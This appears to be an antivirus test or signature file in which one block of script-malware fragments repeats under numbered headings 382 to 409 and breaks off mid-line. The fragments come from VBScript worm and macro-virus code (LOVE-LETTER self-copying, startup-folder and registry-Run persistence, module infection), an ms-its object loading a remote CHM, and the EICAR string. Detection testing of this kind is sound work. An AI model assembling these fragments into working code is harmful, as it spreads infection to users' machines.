 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

382

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

383

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

384

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

385

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

386

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

387

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

388

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

389

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

390

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

391

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

392

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

393

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

394

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

395

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

396

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

397

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

398

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

399

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

400

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

401

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

402

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

403

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

404

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

405

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

406

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

407

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

408

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

409

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
